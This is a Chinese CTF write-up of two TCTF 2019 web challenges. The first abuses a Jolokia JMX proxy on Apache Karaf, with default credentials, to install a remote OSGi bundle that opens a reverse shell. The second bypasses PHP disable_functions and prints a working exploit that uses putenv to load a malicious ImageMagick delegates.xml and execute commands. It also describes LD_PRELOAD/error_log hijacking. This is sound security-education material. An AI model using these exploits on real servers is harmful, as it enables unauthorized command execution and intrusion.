0X00 前言

TCTF 2019 来了,2018 年线上赛的几道 CSP 令人记忆犹新,但是当时太菜并做不出来,final 也没有什么 web 题,被教做人,2019 又会有什么样的惊喜呢,又能学到什么新知识呢,简单记录一下解题思路。

0X01 Ghost Pepper

1.题目概览

访问页面需要 basic 认证,然后抓包看到响应中有认证的提示

WWW-Authenticate: BASIC realm="karaf"

我们尝试使用 karaf:karaf 登录,发现登录成功

此处输入图片的描述

这应该是第一个提示 :karaf

通过阅读官方文档,我们可以发现 karaf 是一个由 OSGI 提供支持的轻量级的容器,可以通过JMX提供管理和操作,同时 Apache Karaf提供了一个JMX MBeanServer。可以使用任何JMX客户端(如jconsole)远程使用此MBeanServer。

接下来就是带着这些问题去了解什么是 osgi ,例如:osgi 有哪些特性、核心组件是什么

这篇文章中可以得到如下信息:一个OSGi程序是由一系列OSGi bundles组成的。OSGi bundle 是一个在MANIFEST中带有附加元数据的jar文件。

目前没有什么其他的信息,这个页面也没有任何服务,只是下面的 powered by 告诉你这是一个 java 的应用程序,并且在搜索了一下以后 jetty 在最近并没有爆出什么严重的漏洞,那么在这种没有任何业务场景的情况下能够出现漏洞的地方应该就是一些 API 接口了,然后我就尝试扫了一下端口,发现除了本身题目的端口以外只开了 22 端口,着很明显是出题人登录服务器用的端口,并不是我们可以利用的条件。

猜测题目本身也是提示,于是谷歌一番发现 Ghost pepper 和 jolokia 有一定的关系

此处输入图片的描述

jolokia 存在一个 JMX 代理模式,通过 HTTP 的 JMX(Java Management Extensions) 连接器,提供了类 RESTful 的操作方式,可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等

此处输入图片的描述

根基官方文档提供的方法,简单测试了一下,可以说思路是没问题了

此处输入图片的描述

然后根据这篇文章的大概思路,我们知道我们大致有以下三种攻击思路:

1.JNDI 注入
2.信息泄露
3.远程操作 MBeans

而根据上面的分析,我们大致确定了我们的攻击方向是 通过jolokia 的 JMX 代理模式远程操作 apache karaf 为我们提供的 Mbeans

2.补充:

1.关于 MBean

MBean 是Managed Bean的简称,可以翻译为“管理构件”。在JMX中MBean代表一个被管理的资源实例,通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为。事实上,MBean就是一个Java Object,同JavaBean模型一样,外界使用自醒和反射来获取Object的值和调用Object的方法,只是MBean更为复杂和高级一些。MBean通过公共方法以及遵从特定的设计模式封装了属性和操作,以便暴露给管理应用程序,详细的的资料请看这里

Mbeans 对象有着相同的格式:

org.apache.karaf:type=[feature],name=[instance]

安装其他Apache Karaf功能和外部应用程序可以提供新的MBean。

下面是一些简单的罗列:

org.apache.karaf:type=bundle,name=*: OSGi bundle 的管理.

org.apache.karaf:type=config,name=*: 配置管理.

org.apache.karaf:type=diagnostic,name=*: 创建包含当前Apache Karaf活动的转储.

org.apache.karaf:type=feature,name=*: Apache Karaf功能的管理.

org.apache.karaf:type=http,name=*: HTTP服务的管理(由http功能提供).

org.apache.karaf:type=instance,name=*: 实例的管理 .

org.apache.karaf:type=jdbc,name=*: JDBC服务的管理(由jdbc功能提供).

org.apache.karaf:type=jms,name=*: JMS服务的管理(由jms功能提供).

org.apache.karaf:type=jndi,name=*: JNDI服务的管理(由jndi功能提供).

org.apache.karaf:type=kar,name=*: 管理KAR文件.

org.apache.karaf:type=log,name=*: 日志服务的管理.

org.apache.karaf:type=obr,name=*: 管理OBR服务(由obr功能提供).

org.apache.karaf:type=package,name=*: 有关导出/导入的包的详细信息.

org.apache.karaf:type=service,name=*: OSGi服务的管理.

org.apache.karaf:type=system,name=*: Apache Karaf容器本身的管理(暂停,重启等).

org.apache.karaf:type=web,name=*: :WebApplications的管理(由war功能提供).

org.apache.karaf:type=wrapper,name=*: 服务包装器的管理(由包装器功能提供).

2.关于 JMX

JMX的架构是组件式的,被设计为三层:

1.分布层(Distributed layer):包含可以使管理应用与JMX Agents交互的组件。一旦通过交互组件与JMX Agents建立连接,用户可以用管理工具来和注册在Agents中的MBeans进行交互
2.代理层(Agent layer ):包含JMX Agent以及它们包含的MBean Servers。Agent layer的主要组件是MBean server,作为JMX Agents的核心,它充当MBeans的注册中心。该层提供了4个Agent 服务来使对MBean的管理更容易:计时器(Timer)、监控(monitoring)、动态加载MBean(dynamic MBean loading )、关系服务(relationship services )
3.指示层(Instrumentation layer):包含代表可管理资源的MBeans。该层是最接近管理资源的,它由注册在Agents中的MBeans组成,这个MBean允许通过JMX Agent来管理。每个MBean都暴露出来针对底层资源的操作和访问;

3.具体的架构分层如下图:

此处输入图片的描述

4.jolokia 的语法

为了能够成功利用这里面的 MBean 我们还必须对 jolokia 的 POST 语法比较熟悉,我们去翻一下官方文档

3.开始利用

根据之前引用的那篇文章,我们现在的思路就是这样,我们需要在 list 列表里面找到一个我们能够引用的 MBean 根据其自带的操作,实现命令执行然后反弹 shell 去读 flag

bundle

那么既然我们之前已经了解到了 osgi 是依赖于 bundle 的,而且在上面官方文档提供的名单里 bunlde 是那我们就首先看一下 List 列表里面关于 bundle 的信息吧

此处输入图片的描述

可以看到这里面的方法还是非常多的,但是最引人注目的还是可以自己安装并开启一个 bundle 了,那么 非常好,我们现在就需要阅读源码,看一下其 install 的步骤,然后我们自己编写一个带有反弹 shell 功能的 bundle 给他安装上,再 strat() 就 ok 了。

此处输入图片的描述

可以看到,安装的方式非常简单,我们只要传入 jar 包的 url 就可以了,并且值得一提的是在安装以后会自动帮我们调用 start() 函数,这还帮我们省去了一个步骤

那我们开始构建 bundle 的 jar 包,参考这篇文章

此处输入图片的描述

我们将 jar 包上传到自己的服务器上,然后使用 json 格式发起请求

此处输入图片的描述

此处输入图片的描述

0X02 Wallbreaker Easy

1.题目概览

很明显这是一道 Bypass disable_function 的题(一开始都是一个 tmp 目录,后来出题人稍微改了一下)

此处输入图片的描述

并且出题人给了我们一个受限的 shell

此处输入图片的描述

通过这个 shell 我们能看到这个文件是怎么写的

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

根据提示出题人的意图是让我们利用 Imagick 这个 PHP 库去 Bypass,但是不管怎么样还是要看一下 phpinfo 中的 disable_functions

此处输入图片的描述

复制出来就是下面的样子

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,


system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

对比一下我之前总结过得一个列表(如下)可以看到出题人将 pcntl 过滤的比较完全了,

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter

(我这里还需要加一个syslog、imap_open,ld ->这个很明显是出题人写错了应该是 dl map_open 我发现我写错了,根本没这个函数)

下面是出题人没有过滤到的,我们可以尝试利用一下,看看有没有突破的希望

putenv、apache_setenv、mb_send_mail、assert、set_time_limit、ignore_user_abort、ini_set、ini_alter、dl、imap_mail

当然在利用之前,我们还是要看一下 PHP 目前安装了哪些组件,因为有些利用方式是依赖于特殊组件的,并且要明确 php 的版本是 7.2.15,这两个限制就能排除一些可能

此处输入图片的描述

排除一些可能:

dl —————————————> php 7.0.0 在 PHP-FPM 模式下已禁用 dl()
imap_mail ——————————> 没有安装对应组件并且已经禁用 imap_open
mb_send_mail ————————–> mbstring 不是一个默认扩展
assert ———————————–> 属于代码执行,暂时不考虑
ignore_user_abort —————————> 默认不开启,但这里能配合 ini_set 生效,但是不能直接执行命令
ini_set ——————————> 能修改的实际上很少必须要满足选项模式为 PHP_INI_USER 或者 PHP_INI_ALL (这里是参数的修改范围列表)
set_time_limit —————————–> 并不能直接执行命令

注:一些能使用 ini_set 修改的高危配置

open_basedir ———–出题人在文件一开始设置了这个选项,后来我再设置发现并没有办法覆盖
error_log 设置脚本错误将被记录到的文件
include_path
session.save_path

研究:

error log 能触发 sendmail (服务器有安装 sendmail,只是禁用了 mail)
ffmpeg

其实看了一圈,最惹人注目的还是 putenv 了,出题人不可能不知道这个函数的厉害,没有禁用估计就是利用这个没问题了,我们原来的利用方式是结合 LD_PRELOAD 劫持 getuid ,然后结合 mail() 函数调用 sendmail再调用 getuid 实现命令执行(而这个攻击方法的本质是php的函数在运行的时候会去调动系统命令创建进程,新的进程又能调用系统函数,然后我们就能劫持这个系统函数)

比如我们编辑一个 mail.php

<?php

    mail("a","b","c","d");

?>

然后去使用 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 去追踪一下内部的进程创建

此处输入图片的描述

可以看到,Mail 函数调用了 /usr/bin/sendmail,sendmail 可能会加载的函数中

此处输入图片的描述

并且在实际的调用中,确实也加载了这个函数

此处输入图片的描述

至此,我们应该已经很清楚原始的攻击方法的思路了,我们如果劫持了 getuid() 以后再在 php 中调用 mail() 函数,那么我们自定义的getuid()函数就会被执行,从而成功执行系统命令。

但是 mail 在这里被禁了,我们只能自己去挖掘别的函数了。

2.第一种思路—> 寻找别的函数

上面说了本来的 mail() 是可以的,还有 mb_send_mail() 、imap_mail ()、ffmpeg 也是可以的,但是后面三个都不是内置的默认存在的组件,都需要环境安装才行,所以我们只能再去找更隐蔽的,于是 error_log() 这个函数出现了

我们来看一下 error_log 的参数:

此处输入图片的描述

可以看到,这函数是支持向邮箱发送信息的,并且调用的是和 mail() 底层相同的函数,这不是明显说的是 sendmail ,我们来测试一下

mail.php

<?php

error_log("a",1,"test@163.com","1");

?>

然后我们来追踪一下函数调用情况

此处输入图片的描述

说明在这样的禁用 mail 的环境下我们是可以使用 error_log 进行劫持的

3.第二种思路—> 劫持共享库

后来发现我们可以不劫持具体的函数,我们可以直接劫持共享库,思路来源是这里,那么现在问题就简化成了我们只要能找到一个 php 的函数,这个函数在调用的时候能执行一个系统中自带的二进制文件就可以了(注意,不是 /usr/bin/php 这个文件是 php 引擎的启动文件)

4.第三种思路—> 篡改环境变量

不用多说,预期解肯定是和 imagick 这个库有关系,正如上面我引用的那篇文章中说的 Bypass disable_functions 的思路一共有以下四种的话:

1.攻击后端组件:寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
2.寻找未禁用的漏网函数:常见的执行命令的函数有system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
3.mod_cgi 模式:尝试修改 .htaccess,调整请求访问路由,绕过 php.ini中的任何限制;
4.利用环境变量: LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

这里的官方解利用就一定是第一种方法,其实就是一种:“你禁用我 php 执行命令,但是你禁用不了 Imagick 执行命令” 的思想,那么如果 imagick 执行的命令我们是可控的,那么我们就成功了。

我们唯一的办法就是从整个组件的官网介绍,和源码中找到蛛丝马迹,后来在 这里 我们可以找到 imagick 的文件格式转换的配置文件

如图所示:

此处输入图片的描述

看一下这个 xml 自己的说明

Delegate command file.

 Commands which specify

   decode="in_format" encode="out_format"

 specify the rules for converting from in_format to out_format.  Use these
 rules to translate directly between formats.

 Commands which specify only

   decode="in_format"

 specify the rules for converting from in_format to some format that
 ImageMagick automatically recognizes. Use these rules to decode formats.

 Commands which specify only

  encode="out_format"

 specify the rules for an "encoder" which may accept any input format.

 The substitution rules are as follows:

   %a  authentication passphrase
   %b  image file size in bytes
   %g  image geometry
   %h  image rows (height)
   %i  input image filename
   %#  input image signature
   %m  input image format
   %o  output image filename
   %p  page number
   %q  input image depth
   %s  scene number
   %u  unique temporary filename
   %w  image columns (width)
   %x  input image x resolution
   %y  input image y resolution

 Set option delegate:bimodal=true to process bimodal delegates otherwise they
 are ignored.

 If stealth="True" the delegate is not listed in user requested
 "-list delegate" listings. These are typically special internal delegates.

 If spawn="True", ImageMagick does not wait for the delegate to finish, nor
 will it read any output image.

很明显,在图片进行格式转换的时候会执行 command 参数后面的命令,但是问题出现了,这个是全局的配置文件,我们有办法覆盖吗?那我们还是要从根源上去找,github 读有关文件格式转化的源码,看有没有我们利用的可能

我们从 quickstart.txt 中找到了这样的话

Configuration Files

      ImageMagick depends on a number of external configuration files which
      include colors.xml, delegates.xml, and others.
      ImageMagick searches for configuration files in the following order, and
      loads them if found:

          $MAGICK_CONFIGURE_PATH
          $MAGICK_HOME/etc/ImageMagick
          $MAGICK_HOME/share/ImageMagick-7.0.2/config
          $HOME/.config/ImageMagick/
          <client path>/etc/ImageMagick/
          <current directory>/

也就是说,其加载的 delegates.xml 是有一个默认的寻找位置的,我们先去环境中读取一下, 看看原来的环境变量设置什么(我们直接执行 phpinfo();)

此处输入图片的描述

我们发现只有 HOME 这么一个环境变量,也就是说 $MAGICK_CONFIGURE_PATH$MAGICK_HOME 都找不到我们的配置文件,那接下来就轮到 $HOME 了,我们现在只要能将 $HOME 改成我们可控的目录(在这里是出题人规定的 /tmp/md5(ip)),然后创建对应的.config/ImageMagick/ 目录,然后再是将我们自定义的配置文件放在该目录下等到调用 文件格式修改的函数的时候就会加载我们恶意的配置文件,然后成功命令执行,而环境变量的修改出题人也给我们留了 putenv 这个函数,现在一切都梳理清楚了

给出 exp

$home = '/tmp/7087afd091c14610b696f6d551930014';
ini_set('display_errors', 1); 
//mkdir("$home/.magick/");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
//file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;
var_dump(putenv("HOME=$home/"));
var_dump(getenv("HOME"));
try {
  $i = new Imagick("$home/test.foo");
  $i->writeImage("$home/test.png");
} catch(Exception $e) {
  var_dump($e);
}
var_dump(file_get_contents("$home/flag"));

运行结果:

此处输入图片的描述

3.第三种思路:监控 /tmp 目录

因为一开始出题人没有设置每个人的 tmp ,这让大家都是在一个 tmp 目录下混战,如图

此处输入图片的描述

于是就有师傅们就有了各种各样的骚想法

此处输入图片的描述

0X03 参考链接

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/
https://www.freebuf.com/vuls/166695.html
https://jolokia.org/reference/html/protocol.html#request-response
https://mp.weixin.qq.com/s/cyeEAv31GO_hZCTXVRBkxw
https://blog.trendmicro.com/trendlabs-security-intelligence/new-headaches-how-the-pawn-storm-zero-day-evaded-javas-click-to-play-protection/
https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi
http://baijiahao.baidu.com/s?id=1600246970563166864&wfr=spider&for=pc
https://www.ibm.com/developerworks/cn/java/j-lo-osgi/index.html
https://www.cnblogs.com/dongguacai/p/5900507.html
https://www.lucifaer.com/2019/03/11/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%201/
https://www.freebuf.com/articles/web/169156.html
https://www.freebuf.com/articles/web/192052.html